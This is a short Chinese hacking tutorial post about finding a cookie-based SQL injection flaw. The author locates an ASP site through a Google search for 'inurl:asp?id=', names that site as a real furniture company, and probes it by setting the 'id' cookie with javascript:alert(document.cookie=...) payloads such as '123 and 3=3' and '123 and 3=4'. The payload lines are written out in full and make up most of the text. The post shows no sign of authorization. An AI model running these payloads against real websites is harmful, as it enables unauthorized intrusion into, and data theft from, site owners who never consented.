http://www.hf110.com/Article/hack/hcjs/200804/3704.html

为了实践这篇文章的内容，
1.我先在GOOGLE中搜索INURL：asp?id= 找到了康耐登家具网站，先去掉 ?ID=321 回车，发现网页不正常显示，
2.再输入javascript:alert(document.cookie="id="+escape("123")); 回车，按掉弹出的窗口，刷新，发现正常显示，说明用的是request("id")。
3.再输入javascript:alert(document.cookie="id="+escape("123 and 3=3")); ,回车，确定，刷新，发现能正常显示。
4.输入javascript:alert(document.cookie="id="+escape("123 and 3=4"));  ,回车，确定，刷新 ，发现网页不能正常显示。
javascript:alert(document.cookie="id="+escape("123 and 3=4"));
5.这就表明有漏洞了。